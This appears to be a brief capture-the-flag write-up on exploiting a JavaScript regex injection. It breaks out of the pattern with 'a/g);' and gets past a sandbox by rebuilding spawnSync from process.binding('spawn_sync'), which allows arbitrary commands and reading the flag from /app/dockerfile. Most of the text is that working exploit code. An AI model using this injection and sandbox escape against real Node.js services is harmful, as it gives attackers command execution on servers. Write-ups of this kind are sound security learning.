We are presented with an input where we can manipulate the regex match expression. We can easily escape the regex matching pattern by having our initial input as a/g);. After this we can input any Javascript code, and finally end with // to ignore the remaining characters. This code is running in some sort of context that doesn’t allow us to import or require libraries. Nevertheless after googleing for a while we come across an example to bind libraries using process.binding() and partially copying the code of child_process
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spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}
// Defines spawnSync, the function that will do the actual spawning
spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}
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After having these two functions defined we can run any command by doing
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return spawnSync("cmd", ['args', 'list'])
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This might be a bit overkill, but it was the solution i found. Now we can enumerate the whole system pretty much. After digging in the files if we cat the file /app/dockerfile one of the layers is to echo the flag. Done! 🙂
